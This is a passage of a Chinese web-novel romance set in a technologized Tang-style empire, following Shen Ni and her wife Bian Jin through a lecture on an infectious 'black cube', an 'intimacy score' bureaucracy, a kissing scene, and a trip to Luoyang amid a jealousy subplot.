画面中的沈逆果真掏出一块硬饼,对老媪说:“这个给你。你过来拿。”
老媪的五官落在黑暗中,紧握着树枝,反而警惕起沈逆,并未上前。
狗也像静止了一般,卧在老媪身边,纹丝不动。
“怎么,不要了吗?”
因为是第一视角,看不到沈逆的脸,只能听到她的声音。
她的声音里带着宽和的笑意,又像陷阱。
老媪颤颤巍巍地抬起手,向她招手。
“求求你了,给我吧……我和狗,要饿死了……”
“不过来吗,没关系,说给你就一定会给你。”沈逆将硬饼抛向半空,“接着。”
趁那老媪抬头的时候,画面一闪,沈逆陡然逼近对方。
老媪的脸蓦地变成了大特写,铺在众人眼底。
她的眼珠居然在失控地狂颤,惊愕中带着被某种力量吸去生命的干瘪,一层皮铺在毫无血肉的骨头上,发青的脸不似活人。
这极其恐怖的一幕吓得崇文馆一大半的人本能地惊呼,有人或转过脸或捂住眼睛。
投影里的沈逆毫不手软,一戒棍打烂了她的头。
老媪的身子慢慢软下去,再去看那只狗。
一直卧着的狗只有上半身,下半身露出半截白骨和碎肉,其余部分早就不见踪影。
“这狗是……”
沈逆回答学子的疑惑:“狗早就死了,不过是诱饵。你们应该也发现了,老媪的言语简单贫乏,只能本能地重复某种内容,因为她被黑魔方感染了,已经不算个人类。黑魔方的能力是吞噬,吞噬更强壮的机械以得到更强大的力量。本能的驱使下,它拎着这只狗四下逛逛,本质上和钓鱼没什么区别。狗就是鱼饵,看哪个心软的傻子会动恻隐之心。那么,这个倒霉鬼就会成为它下一个目标。”
“居然会以狗为诱饵,这黑魔方……”
“没错,黑魔方拥有低等模仿的能力,模仿人类的行为。不过这都已经成为过去。”
沈逆的话让众人松了一口气。
“现在在内廷的努力下,黑魔方失去了低等模仿能力了吗?”
“不,在它自己的努力下,迭代出了智慧。”
沈逆此言一出,四下皆惊。
方才看到美人的痴态统统被惊惧取代。
边烬被她逗得露出笑意。
刚才心中莫名而来的酸涩,在注意力的转移中缓缓消退。
她已经完全被沈逆的魅力所感染。
李煽全程都没有去后面歇息处,一直站在角落,能够看见沈逆的地方。
沈逆的快言快语,让李煽收到馆主薛辟一言难尽的眼神。
李煽多少有些窘迫。是她让薛辟去邀请沈逆,私下为沈逆说了不少好话。
她口中的沈逆,巧舌如簧又老成持重,大局尽在掌握。
实际上的沈逆,没两句话就把黑魔方最大的秘密当着众人的面捅出去,引来一阵恐慌。
对永王,薛辟不敢有甚微词,只是那双垂老的眼睛里铺满了不安。
不过,现场的气氛没有走向失控。
沈逆简单粗暴又直观的行事作风,将她美貌所引发的轻浮气氛扫荡得一干二净。
馆内落针可闻,沈逆看众学子面色铁青,心惊胆战。
行,看来可以好好说说黑魔方的事了。
生灵涂炭的北境从沈逆口中说出来,不过寥寥数语,已让人肃然起敬。
她身上带着一种见过最极端的残酷的从容,超越年龄的镇定。
学子们很难想象,与自己年龄相仿的靖安侯曾经面对那么多的生死一瞬。
尸山血海是她的修炼场。
“……总之,如今的黑魔方已经和从前不同,它有了智慧,只会更加难料。先前的经验只能参考,不能当做保命的唯一真理。”
有人颤抖着声音道:“那,我们还有活下去的可能吗?”
沈逆:“万事皆有可能。”
“这回答是不是太敷衍了?就没有什么安慰的话可以送给我们的吗?”
沈逆眼神从墨镜上沿透出来。
“谁都会死,或早或晚罢了。所以面对死亡的时候不用害怕。这样说有安慰到你们吗?”
“……”
安慰是没有被安慰到,破罐子破摔倒是丧丧的很安心。
经过沈逆给一榔头再递杯酒的洗礼,馆内的气氛又开始活跃起来。
沈逆在北境那些年的确成长了不少。
朝堂之上游刃有余,授业解惑也能直击人心掌控全局。
边烬淡淡看向李煽。
这等魅力有人为之着迷,并不奇怪。
想起李煽当初带着大理寺的人闯入侯府那日,气势汹汹。
如今望着沈逆的眼神专注又仰慕。
同为机械师,沈逆是当代机械天赋者里最出类拔萃的,以她的天赋,极有可能成为一代传说。
高山仰止,李煽对沈逆心中有那份崇慕不难理解。
所以,当初她硬要治沈逆新婚妻子的罪,是否藏着私心,也只有她自己知晓。
沈逆年轻有为,性格狂悖无束,更别说一张好皮囊让人过目难忘。
李煽这样的金枝玉叶也会对她倾心,再正常不过。
道理明明白白,可边烬却是平生第一次在明白了某个道理后,心里的酸劲依旧控制不住。
以前紧紧将沈逆护在身边,舍不得她沾染半点风雪时惯出的娇气,已经被粗粝的戎马生涯磨没了。
她眼里那个单纯的孩子,早就变得成熟可靠,风情迷人。
时过境迁,边烬有些怀念不被打扰的二人时光。
怀念小师妹只她不可的依赖。
该说的都说完了,沈逆便待离开,结果有位臣国学生用带着口音的唐语道:
“侯君姐姐别走呀,还有提问环节呢。”
侯君姐姐?这是什么不正经的称呼?
沈逆:“你想问什么?”
臣国学生一头红棕色的头发格外扎眼,两撇刚刚蓄上的胡须打理得很用心。
和沈逆对上话了,他在一片艳羡的目光中站起身:
“能不能问侯君姐姐一点私人问题。”
沈逆正要说“不行”,忽然余光一闪,好像在人群中看到了边烬。
以为是自己用眼过度,产生了幻觉。
快速眨了眨,再望去,真的是边烬。
边烬几乎要被挤到门外去了,若不是高挑优越的身形,以及沈逆对她有种天然的敏锐,恐怕真发现不了。
沈逆一时沉默,那臣国学生便觉得是默认可以提问,兴致勃勃地问道:“请问侯君姐姐有喜欢的类型吗?”
果然是私人问题,私人到不能再私人。
此话一出,被众人嫌弃。
有人更是直接拆台:“不是吧范森,你怎么会问这么无礼的问题,难道不知道我们侯君姐姐已经成亲了吗?”
范森“咦”了一声,难以置信。
李煽在一旁暗笑。
以沈逆的性子,肯定不会回答这么无聊的问题。
没想到,沈逆目光从人群的头顶掠过,万千目光中,锁定了边烬。
“我喜欢成熟的女性。比如,我妻子那样的。”
满堂欣羡的起哄声。
孟初心里“哇”了一大声,捂住嘴。
怎么会想到带着边姐姐过来,直接秀了一段大的!
孟初羡慕的眼神在边烬的侧颜爬上爬下。
表面镇定,实则耳尖已经发烫的边烬冷言:
“别看了。”
李煽的表情有些发僵,顺着沈逆的目光远望,也发现了边烬。
沈逆和边烬与人潮之中彼此相望,旁若无人。
向来冷淡锋利的沈逆,居然会在大庭广众之下对妻子说情话。
只不过隔空收到边烬一个平淡的眼神,嘴角便荡漾着情不自禁的笑。
眉眼都软了。
不知名的尴尬和憋闷让李煽垂下眉眼,无声离开。
范森两年前曾经来到唐Pro帝国学习,回去了一年,在黑魔方爆发前刚刚回来。
听到周围人笑话他,他震惊得无以复加。
“不会吧,她这么年轻,居然已经成亲了。”
都不用沈逆回答,现场自有人为她说明。
“不仅成亲了,还是天子御赐的姻缘呢。”
沈逆:“你们就没有什么专业上的问题可以问吗?”
“侯君姐姐,你看上去也挺乐意回答的。”
“是啊,我看你也挺享受的。”
“专业问题能帮助我英年早婚吗?”
牙尖嘴利的沈逆被连环拆台,第一次感受到百口莫辩是什么滋味。
边烬看这儿也没什么正事,便出了馆。
沈逆很快结束了讲座,出来找她。
沈逆一出现,孟初就立马告辞。
“边姐姐,我回兰台等你。当然,你不回来也可以。”
说话间眼神还在她和沈逆之间乱瞟。
边烬:“……”
感觉孟初没少联想一些乱七八糟的事。
就剩下她们俩,沈逆暗暗挨得离边烬更近些。
“你怎么寻到这儿来了?”
“我不是特意来找你,同僚来听讲座我便来看看,没想到你和永王也在。”
“?”
为什么会提到永王。
不知道是不是错觉,永王出现在边烬的嘴边时,带着一股酸意。
沈逆觉得自己想太多。
师姐这种性子吞剑咽刀可以,吃醋,不可能。
“那,你之前说一起用膳的事儿还算数吗?”
此时沈逆人就在面前,专注地只看着自己,笑得甜甜软软的,先前边烬心头不可名状的酸麻感没再冒头。
“你想吃什么?”
“你带我吃什么我就吃什么。”
边烬淡笑着,“捉弄完我之后又这么乖么?”
“我哪有捉弄你?”
“当着那么多人的面说什么……喜欢妻子,还不是捉弄我?”
沈逆忽然又靠近一步,双眸对望。
“说喜欢你就是捉弄你?”
边烬眼眸闪过一丝局促。
沈逆发现一个小细节。
即便局促,边烬也没有后退。
目光下移,落在她的唇上。
“其实。”边烬顿了顿道,“我来找你,是想看看你有没有空,能否陪我去开通连理模块。”
沈逆:!.
转眼到了民政司。
并肩坐在民政司内,沈逆火速提交开通连理模块的申请。
办理开通连理模块的属员是位面容和善的大姨。
看到这对京都大名人现身此处,乐呵呵地指导她们开通的细节。
大姨看了申请半晌,犯难地抬头。
“亲密度太低,开通不了啊。”
沈逆和边烬同时道:“亲密度?”
作者有话说:
所以,该怎么提高亲密度呢ww
第47章
“亲密度?”
两人同时反问。
大姨见她俩中间隔着大半个人的距离,又想起关于这二位大名人的一些传闻,左右环顾了一番,关上房间小门。
坐回来,大姨问她们:“二位圆房了吗?”
边烬不语,看向沈逆。
沈逆:……
这种丢脸的时刻你就派我出场是吧?
沈逆说谎脸不红心不跳。
“圆了。”
大姨一副“我都不惜的说你们”的表情。
“都到咱们这儿来就别瞒了。才二十五,圆过了能是这点亲密度吗?肯定不可能啊。就这么说吧,亲密度起码到了六十分才能开连理模块。”
前阵子她们已经接触得不算少了,才二十五。
六十这个分数,感觉要经历很多边烬没法承受的事。
边烬:“若是强行开启,会有严重后果吗?”
听她这话,沈逆一阵皮肉幻痛。
又是体罚又是捂嘴,现在还要强行开启连理模块。
师姐你还蛮喜欢用强的。
大姨摇摇头,“强行开启倒不会有什么严重后果,可是开了也没用啊。亲密度不到,你们情感没法共鸣,感知不能共享、梦境不可互通。情意么,嘿嘿,也共振不了。更别说身体托管了,潜意识直接就排斥出去了。”
之所以要开通连理模块,就是为了让沈逆通过梦境进入边烬的潜意识,寻找丢失的记忆。
若梦境不能互通,就失去开通的意义。
这样说来,提升亲密度是至关重要的先决条件。
边烬似乎认命了,不再惦记着另辟蹊径,回归正途。
“请问,亲密度该如何提升?”
大姨也没想到,“亲密度”这个名称起得这么直白了,还需要问。
大姨:“呃……顾名思义啊,多做点亲密的事儿,亲密度就能提升。看,您二位现在坐的就太远了,都往里坐坐,哎对,靖安侯您揽一下夫人的腰。看,亲密度不就上了吗?”
连理模块已经在大姨的帮助下预开通了。
只要调取模块,就能看见亲密度的变化。
【+一】
一行蓝白色数字从眼底往上跳。
亲密度的确从二十五变成了二十六。
但距离六十,还有一大段距离。
大姨看两个年轻人都挺斯文,继续鼓励道:“我就说你们和那种硬凑在一处的夫妻不同,对彼此还是有好感的吧。这不,御赐的婚姻,还没圆房,亲密度也有二十五了。”
大姨说得挺含蓄,意思是二位平时摸个小手,搂个小腰之类的应该也没少做,不然哪来的二十五。
边烬太不自然地看向别处。
沈逆知道师姐有很多疑问,便当她的嘴,向大姨虚心讨教:
“您意思是,只要亲密度够,连理模块就会自动开通。模块中的功能也能顺利使用?”
“正是此意,我已经帮你们预设好了。总之别害羞,多亲热亲热,很快就能开通了。”
边烬做最后的挣扎,“除了亲热,别无他法吗?”
大姨被逗笑了,“哎呦,我的天呐。”
门外路过的人听到大姨的笑,忍不住往里投来一记好奇的眼神。
大姨笑完用力咳嗽一声,努力严肃回来。
“抱歉啊,请原谅我刚刚不专业的表现。真的没有别的办法了,亲密度就是为了确认伉俪两情相悦嘛,总不能成天眉来眼去就把亲密度给提升上来了,就像光接吻也生不了孩子,这是一个道理。”
听到“生孩子”这三个字,边烬胸口略起伏。
怕边烬再说出什么惊世骇俗的话来,沈逆直接拍板。
“好的懂了谢谢,我们会努力的。”
大姨笑得两眼弯弯。
“还有一点,除了肢体的亲密,心灵上的亲密也是非常重要的。不然,这六十分看似不高,若两心相离,也永远无法达到。毕竟连理模块功能实在太强大,亲密度不够硬是开通不止增加离婚率,还增加犯罪率呐。”
这连理模块比想象中还要严谨。
离开时想到什么,沈逆回头看大姨。
“您……”
御赐的婚姻却未圆房,这事儿若是泄露,她又会被那些言官追着弹劾。
大姨做了一个拉上嘴上拉链的动作,且深深看了边烬一眼。
“放心,今日与二位所有的谈话内容都会保密的。我还不想丢了这官帽呐。”
沈逆最是喜欢和聪明人交流,道谢后和边烬一同离开。
出门时,边烬问沈逆:“她当真不会说出去么?”
沈逆:“不会。”
“你很笃定。”
“嗯,她是成庆侯夫人的母亲。”
边烬有些意外,竟是她。
当年成庆侯夫人还是不受宠的郡主,在京师游园时不慎落水,是边烬将她救上岸。当时沈逆也在,亲眼见边烬脱下衣衫为小郡主披上。小郡主母亲吓坏了,急忙赶过来,对边烬千恩万谢。
多年过去,当年的年轻母亲老了,没有超忆症的边烬见过太多太多人,不记得她很正常。
但被帮助过的人,一直都记得这份恩情.
回侯府的一路,两人各怀心事,都没说话。
沈逆的目光时不时落在窗外,又转回边烬的脸上。
边烬全神贯注看着窗外的风景,但眼眸沉沉,偶尔轻闪羽睫。
沈逆对她的状态很熟悉,她在思考。
边烬沉思时很难注意到旁人的目光,沈逆便肆意打量着她的侧颜和鼻尖,目光往下,最后停在紧闭的唇上。
双唇紧闭,拒绝一切外来之物。
但饱满的唇珠却是几欲翕张般的微微翘起。
到了侯府,边烬走在前面,沈逆正想说师姐你等等,手表突然震了起来。
身后脚步声停了,边烬从纷杂的情绪中回神,意识到自己又走得太快,没顾及沈逆。
顿了脚步回头,寻了几句好听话,还没来得及说,见沈逆手指点了耳尖,正在与人通话。
“嗯,应该的。”
沈逆沐浴在金光之中,姿态再松散也有一股凛凛的美感。
即便漫不经心说着敷衍的话,面庞也是灵动又通明剔透的,若一颗水头极足的上好翡翠。
“永王客气了,下回再说。”
原来是李煽找她。
她们私下联系很频繁吗?
沈逆很快挂断了,一抬头,发现边烬已经进屋。
进屋之前照例敲了敲门。
边烬的声音从里面闷着出来。
“自己的寝屋,想进就进吧。”
沈逆推门的动作略顿。
师姐情绪似乎不太好。
轻轻推门进去,见边烬跽坐于案前,正在随意翻阅她放在案上的一本闲书。
沈逆上前,安静地看着她。
“怎么?”
边烬目光依旧落在书上,似看得认真。
“好看吗?”
“还行。”
沈逆将书抽走,上下调转,放回边烬手中。
边烬:……
刚才居然拿反了。
沈逆:“这样看应该更好看。”
边烬胸口微微起伏,索性把书合上,放回案面。
“师姐为何不高兴?”
“我没有不高兴。”
“我与她通话说的是今日讲座一事。本来讲座我也不想去,是崇文馆馆主薛辟将马车开到工程司门口,硬拉着我去的。是,只要不是真的绑架,腿长在我自己身上谁能强迫?只是想到那些年轻学子多了解黑魔方一些,就有多一些保命的机会,费些唇舌就能救人一命,去就去一趟罢。我本无助人的热心肠,都是这些年受师姐教诲,与旁人无半点关系。”
边烬没想到她会一口气说这么许多。
胸口道不出缘由的酸胀感倒是没那么难捱了,但依旧清晰,难以忽略。
边烬不想自己看上去小家子气,要和那永王争些有无。
“我说了,无需哄我。”
“原来师姐并不在意,是我多言了。”
沈逆自嘲地笑,也不知是发自真心,还是故意为之。
两人回来之后本来是要提升亲密度的。
没想到刚进寝屋气氛就变得僵冷。
提升亲密度是为了解开记忆禁区,她自己应当来主动做此事,不让沈逆操劳。
整理了一下思绪,定了定神。
可是,该怎么开始?
边烬问沈逆:“你之前谈恋爱的时候,都在做什么?”
沈逆:……
虽说先前是她自己口出狂言在先,可师姐这记忆怎么回事。
该记得是事忘记了,不该记得的事倒是烙在脑子里。
沈逆冷嗤一声。
边烬:“怎么?”
沈逆:“谈恋爱,不就那些事可做。”
“哪些事?”
“师姐做不来的事。”
边烬被堵得说不出话。
沈逆的手表又震了一下,没去看。
边烬本能地联想到李煽,心尖上一阵刺痛,那针脚扎痛她的地方立即蔓延出更多酸麻,像洪流,一瞬间冲散她矜持的堤口。
沈逆说她做不来,她便偏偏要做。
“你怎么知道我做不来?只是为了提升亲密度罢了,你之前怎么对待你的女友们,现在怎么对待我就好。”
没错,是为了提升亲密度,可是,真就只是为了提升亲密度啊?
这话说得忒无情。
和返程时相比,边烬没有上任何口脂的唇瓣不知何时颜色更深了。
不知是因为温度,还是情绪的变化。
这双唇长得这么美,仿佛为了接吻而生。
却至始至终紧紧地闭合着,拒绝着红尘的诱惑。
而这次,清冷圣佛自己望向了红尘。
沈逆眸色沉沉,“那师姐摘了口罩吧。”
边烬出门一向戴着沈逆为她研制的口罩,人多时调整为黑色,平时则为透明。
沈逆的话已经不算暗示,而是直言不讳的告知。
自己说的话自然要做到,边烬去摘口罩。
心绪到底是乱了。
平时随意一勾就摘下来的口罩,此刻耳绳好巧不巧勾住了发丝,挂在脸上,一时难摘。
越急越乱,边烬正在和口罩作斗争,手指忽然被一双温热干燥的手握住,揉入掌心里。
沈逆纤指轻勾,口罩便像听话的宠物,从边烬的脸前掉落。
那双洁净的唇,因为沈逆突然的靠近和接触,不安地抿得更紧。
沈逆的唇直接将它们顶开,不讲道理地揉进去,凶得很。
边烬呼吸一窒。
双唇从未被谁这样对待过,无助地张着,沈逆能清晰地感受到它们因突然而至的吻在发颤。
甜软又缠绵的滋味在口中蔓延,一向安静的寝屋此刻荡着隐约的水声。
那水声让边烬羞赧想躲,后脑被沈逆压住,摁回来,将她压回自己的唇上。
指尖伸到她的发丝里,尽情把她弄乱。
发丝间的潮意很快染上沈逆的指腹。
边烬的腰在抖,白皙如玉的指骨上透着被欲念沾染的红。
这抔谁都未曾踏足过的冷雪被热吻烹得几乎融化。
难言的难耐和陌生的痛快在边烬意识里交织,搓出从未想过的火花,劈啪作响。
边烬双手在空中悬着,不知放在何处才妥当。
沈逆当然不会让她没着落,握住,一根根手指挨个揉弄过去,最后攥到滚烫的掌心里。
朝思暮想的人,终于被她握在手里了。
灼热潮湿的体温从衣料下透出来,多年以来压抑的占有欲一瞬间爆发,狂热的摩擦烧得边烬喘不上气。
沈逆自己得心跳也在失控地加速。
还嫌不够,沈逆直接将她抱起来,整个人接入怀中,拉着她的双臂环住自己的脖子。
被沈逆教了这一下,真有种情人之间互动的滋味。
边烬被她抱起又落下,迎面跪着,膝盖被沈逆的腰抵得收不回,难受又难堪。
腰快要撑不住绵软的身子,沈逆还在抚她的后脑和脊柱。
热吻就是不停,边烬呼吸越来越粗重。
压在她脊柱上指尖往上,整只手捂住她后颈时,战栗感让边烬漏出一声不清不楚的哼呢。
这一声哼呢连她自己听了都脸红。
沈逆听到她的声音,像被按下了某个开关,吻弄得更深。
“……不。”
边烬软嗒嗒的声音从沈逆口中闷出来,推拒的动作无力得像逢场作戏,更像某种趣味。
“不要了?”
沈逆张开迷离的眼,凝着眼前人。
银丝还挂在两人的唇面上闪着亮光。
边烬那双幽闭的冷唇,大抵是一直被保护得太好,脆弱不堪,突然遭受沈逆肆意的吻,才吻了这么一会儿就充血发肿。
只对沈逆的敏感体质在作祟,一场吻而已,边烬已经如一朵被雨水打湿的夹竹桃,潮红从紧闭贴合的衣襟深处往上蔓延,将她整个人染透。还在涣散的眼眸也湿乎乎的。
只是唇又闭了起来。
不想她闭着,沈逆的指骨直接探进去,将她唇齿分开。
边烬:!
完全没想到她会这么做。
“沈逆……”
边烬眼角有泪又有埋怨,话语含糊不清。
“我还会对我的女友们做些更过分的。”
沈逆箍着边烬的腰,仰着头,用指骨磨她的牙。
“师姐还要继续试试吗?”
第48章
被撑开嘴的姿态很不雅观,这对用膳时都只是轻微张嘴,咀嚼食物的过程中从不开口的边烬而言自非常羞耻。
沈逆从未对她这般狂悖放肆。
唇齿被抵开,软舌无处安放,不想碰到沈逆,否则便像挑逗了。
很难维持。
眼前【+一】的提示不断上升,亲密度转眼破了三十。
沈逆被这几行数字吸引过去,思绪一松散,被边烬执住了手腕。
边烬脸庞上浮着羞恼的红晕。
“你戏弄人的手法可真娴熟。”
沈逆笑了笑,“谬赞,师姐喜欢便好。”
“我哪有……”
上次检修后,为了方便后续,沈逆把逆芯系统移植到自己的身体模块中,掌心探测到的触觉指数能直接显示在视网膜上。
“指数已经破了二百八十,还在持续攀升。将要接近数据库中行房指数的巅峰。师姐应当不反感才是。”
边烬一时无言。
她没有说出口的身体反应,被触觉指数暴露无遗。
边烬刚把她手推出去,她又换另一只手过来。
就要挨到边烬唇边,边烬躲了一下,眼神里带着警告。
“沈逆。”
今天第二次直呼其名了。
那警告危险得很,沈逆也不怕,大不了被她罚就是了。
更何况此刻她是好心。
“别躲,帮你擦擦。”
边烬立即意识到自己嘴角有些水渍。
“……我自己会处理。”
边烬手背挡住嘴,另一只手撑着沈逆的肩头,站起身时张开的姿势和发软的腿拘着,有些费劲。
她离开得绝情,沈逆不舍,但更怕她摔着,托住她的腰将她往上抱。
边烬稳稳站起,沈逆抬着头对她乖乖地笑,想象中的夸赞没等到,却迎来一记冷眼。
沈逆:?
边烬:“下次不必用这些花招,只,专心提升亲密度便好。”
很冷冽绝情,把沈逆当做工具似的。
若不是脸上的红晕还未能消退,边烬这番冷硬的话无论丢到哪儿都像军令,仿佛她本人毫无快乐可言。
要没有触觉指数,或许真会被她骗了。
“哦,好。”
沈逆底气十足,随口敷衍。
边烬听出了她敷衍的语气里带着有恃无恐。
现在是说也说不过她,气也气不了她,管了管不到她了。
边烬只能离开。
沈逆:“你要去何处?”
别一气之下不回寝屋睡觉了,其他的房间可都没寝屋那张她亲手布置的大床舒服适睡。
边烬站在门口,回首淡声道:“浸浴后便回。”
沈逆散漫道:“哦,我也不太舒服,不若一起……”
啪。
边烬把门合上了。
沈逆摸了膝盖,“……是真的不太舒服啊。”.
今年最后一场雪下得力不从心。
一点点雪沫落在边烬的乌丝上,还未感觉到寒冷,便很快消融了。
侵入热泉之中,没有以往解乏的爽快,本就燥热的身子被那热度一浸,额头上出了一层汗,耳朵红得似能滴血。
半天降不下温。
边烬靠到池边,身子往上浮起,空气里的冷意迅速往桃粉色的肌肤上扑,总算舒适了一点。
将湿漉漉的长发拨直额顶,水流路过她水墨画般浓丽的眉眼。
唇面的肿胀还没能消去,齿间尚且留存着异物感,那是沈逆指骨的形状。
雪沫落在她滚烫的肌肤上,似几滴冷水落入岩浆,徒劳无功。
闭上眼,深深地吸气。
她和沈逆终究走到了这一步.
之后的几日本该继续提升亲密度,可沈逆公事繁忙,边烬有自己的作息,还需早起晨练,保持身体状态。
夜里沈逆回来的时候,她已经入睡。
没亲近的后果便是亲密度在下降。
好不容易上到三十,轻轻松松又跌回二十九。
民政司为她们预开通连理模块后,亲密度变化会频繁提示。
沈逆应该和她同步显示。
边烬是个非常被动的人,在一无所知的情感方面更是如此。
常年无欲无求,更不知该如何主动。
夜半偶尔醒转,发现不知何时回来的沈逆面向着她,额头抵着她的手臂或者后背,睡得很安静。
很乖,没有不经允许就整个人贴上她。
沈逆熟睡时的样子很放松,眉眼软软的,一派毫不设防的纯真,仿佛和那日用无耻的手法戏弄她的不是一个人。
本欲揽她,想想又作罢。
现下这张床和师妹都很危险,若是她主动去揽,怕师妹误会,惹一些不清不楚的事情来。
只是,连理模块总是要开的……
边烬想着想着,又落了个失眠的下场。
一日晨起,天未亮边烬听见动静,朦胧中睁眼,见沈逆在青色的晨光中穿衣。
“吵醒你了?今日我要去一趟洛阳,探讨洛阳的城防建设。和同僚一起去,不好乘私驾,得赶中央驿站的早班车。”
“去多久?”
“三日后回。”
边烬欲言又止,沈逆看穿她的心思。
“这三日亲密度可能还会掉,等我回来后再补。”
沈逆话中直白的意味让边烬面上一红,没去看她,起床。
“我送你去。”
沈逆眼睛一亮,嘴上说:“不必劳烦了,你再睡一会儿。”
边烬见她眼里满是期待嘴上却很客气,隐约不想看她失望,便利落地起身了,寻了个借口。
“中央驿站人多,万一黑魔方作乱,有我在能安全些。”
沈逆当然乐得和她多待一会儿。
三日见不着人,不知会有多难熬。
长安城的中央驿站坐落在中轴线以南,巨大的吞吐量为所有大陆之首。
黑魔方肆虐后中央驿站关闭多日,昨日才陆续开放。只为内廷官员提供公事往来,疏通重大商务交流,以及接待必要的外臣使团。进出都得经过重重检查,不能将黑魔方带入城中,也不许黑魔方逃逸。
普通百姓依旧禁止进出港,曾经热闹的驿站萧条不少。
古老的驿站保留着建国初始古朴的风格。在科技爆炸之后,钢铁和电子凌驾于古典中式建筑之上。又因户部预算不足,维护不佳,整个中央驿站呈现出一种不古不今的新鲜和颓废,反倒有种夕阳落尽前云霞杂糅出的最后一抹壮阔。
李煽很早就到了驿站,正站在的大厅中央,不时暗中往门口张望。
随行的最高研发署的属员颇为不解。
永王殿下明明有皇室专用的飞天仪仗可乘坐,御用航道更是有精兵护航,以免路遇异兽,十分安全。
以前殿下去洛阳都是直接乘飞天仪仗,这次为何要来和他们挤公共交通?
一想到要和肃冷严苛的永王同乘,还没出发,最高研发署的属员们就已经开始累了。
工程司除了沈逆还来了两位属员。
小女官崔凝也十分畏惧李煽。
她刚入仕的时候,曾经想入最高研发署的编制,也去面试了,被李煽亲自刷了下来。
她永远记得李煽那张冷脸,以及拒绝她的理由。
“小黠大痴,四体不勤,不适合研发署。”
之后她调剂再调剂,被调到了工程司,一个专门吃苦还捞不着油水的地方。
如今再看到李煽还是很怕她,希望这一路别和她有交集。
出差洛阳,李煽偏偏脱去官袍,穿的是明艳的常服,玉面朱唇,好一位让人移不开眼的美人。
只不过人再美,该怕她的人还是很怕。
李煽看了半晌没看到人,刚刚转开眼,就听见崔凝对着驿站大门挥手:
“总监事——”
沈逆来了。
李煽心口砰砰急跳了两下,含笑往大门的方向转身,只一眼,刚刚扬起的笑容便僵住了。
来的不只是沈逆,还有边烬。
两人套着的裘衣都是同款不同色的。
一眼望去,好不登对。
金吾卫正在检查行李,沈逆向同僚挥了挥手,与此同时边烬也看到了人群中的李煽。
原来这次李煽要和沈逆一同去洛阳。
鬼使神差间,边烬主动将沈逆通过检查的小箱子接了过来,帮她拎着。
沈逆默默看着她的举动,没说穿,只道:“你别送了,回去补个觉。”
边烬将箱子递给她,说:“衣襟歪了。”
出门有些匆忙,沈逆没有仔细对齐衣襟。
沈逆接过箱子,双手拎着,忽然靠近边烬,撒娇似的。
“师姐帮我对。”
边烬没料到她会忽然靠得这般近。
居然有种下一息就会被她启开唇齿的错觉。
沈逆自然没在大庭广众之下这么做。
樱粉色的软唇在暧昧的距离内停下,上身挨近边烬,见她一时没应,还“嗯?”了一声催促。
边烬明知她故意,说不上什么心态,还是照做了。
像温柔的妻子,指尖贴上沈逆的衣襟,把里外领口对正。
微妙的波动在彼此之间荡漾着。
同僚们见到她俩恩爱的场面,暗暗起哄。
“先前还有人说这二位是冤家,其实恩爱得很嘛。”
“这两任北境总都督真的好配,好养眼,大早上的看得我都不困了。”
沈逆和边烬告别,走进来时,李煽已经上楼了。
工程司的属员:“永王殿下怎么走得一声不吭?都一起出公事,还分两拨走啊?”
沈逆走在人群最后,指尖愉悦地敲打着手表。
边烬才刚刚走出车站大厅,就收到了沈逆的传信。
【这几日也要保持联系,不然亲密度会继续降的。】
边烬犹豫,没立即回。
沈逆走进车厢内,这个车厢里都是最高研发署和工程司的人。
往前走,只有李煽身边的位置是空着的。
她没停下脚步,继续往前,拍了拍崔凝说:“我和钱姐有些事要说。”
意思是你位置给我,自己寻别的地方坐。
钱姐便是此次同行的另一位工程司女官,一位年近四十的和蔼姐姐,和崔凝坐一块儿。
崔凝看看钱姐,又往后方看,都满了,就永王身边空着。
崔凝:……
不是,还真就怕什么来什么是吧?
不甘不愿地换了位置,坐到李煽身边的时候,李煽用余光瞟了她一下,全程死着一张脸,半声不吭。
崔凝:……
僵成了根棍,动都不敢动。
沈逆知道钱姐除了会做工程还是园艺大师,与她聊着种花经验。
钱姐:“这就是你要聊的要事啊?”
沈逆:“可不,我夫人爱花,我想亲自为她布置后院,自然是要事。”
钱姐“哎呀”一声,羡慕道:“侯君可真会疼人。要是我家那位有侯君十分之一的体贴就好了。”
沈逆淡笑着,查看手表,边烬没回。
沈逆不死心,又追一条过去。
【亲密度降得容易提升难,若不保持联系,回来后可能要多吻几次了。】
此时边烬刚刚上了轨道列车,大庭广众之下看到这条挑逗的传信,被这个“吻”字弄得心头发烫,心道“荒唐”,无奈地随意回了句,立即锁屏。
边烬飞信来了。
沈逆窃喜,倒是要看看这次师姐要怎么逃避。
点开后,出乎沈逆的意料。
边烬:【听你的。】
沈逆立即回:【什么都听我的吗?】
这次边烬回复明显慢了。
但最后还是回了她。
【得寸进尺。】
被骂了,但沈逆嘴角控制不住地上扬。
仿佛能看见边烬投来凌厉的冷眼,却红了耳朵。
第49章
夜半。
长安城的巡防交班之时。
来接班的队正见队中有个陌生的面孔,而且穿的是工部的官袍,并不是金吾卫,便问她:“你是谁?”
这队正姓赵名洄,先前寻过沈逆晦气,被沈逆伶牙俐齿说得吃不消的那位。
曾倾洛利落地把刚刚捕捉到的一只异兽的金属内核投进满是水银的虚电容箱内,用手背擦掉脸上的动力油,没说一句话便离开了。
赵洄盯了她背影半晌,转回来问下属:“她谁啊到底?”
士兵回禀:“好像是工程司的人。”
“工程司的人来这儿杀异兽,不要命了?”
队伍中有人嘀咕了一句,“小娘子挺厉害的。”
“那也不能随便来个人就让她杀异兽去啊,要是赔了命,被赖上怎么办?”
赵洄原本是李褚门下,李褚被驱逐出京流放兰陵后,树倒猢狲散,连带着他升迁校尉的事儿都泡了汤。正是前程晦暗一筹莫展之际,沈逆手下还来添乱。
李褚被流放,此事正是沈逆所致,赵洄横竖看工程司的人不顺眼。
来捕杀异兽是吗?
赵洄冷笑。
这么危险的差事,一不小心被异兽杀了,那可赖不得任何人。
……
午夜的护城河一片死寂。
远处的灯火铺在黑洞洞的水面上,如同肮脏的油彩。星星点点的霓虹光斑疲倦地荡漾着,很快被一艘老旧的画舫破开。
画舫里传来一阵阵痴醉的笑声,有人在吟诵未来世代的诗歌,在醉生梦死间滑向晦冥的浓黑。
曾倾洛后背上全是血和渗出来的动力油,额头上也被割开了一个可怕的血口。
这座城市的机械师们还是很繁忙,忙着帮一掷千金的客户卸载机械义体。她没那么多银子,也约不上号。
不想再去麻烦小师姐了,一会儿找个地方窝一下,睡醒了应该就好了。
在此之前,有样东西要处理掉。
多足虫虫玩偶的外包装上沾了不少血迹和污渍。
明明是全新的,看上去却已经残破不堪。
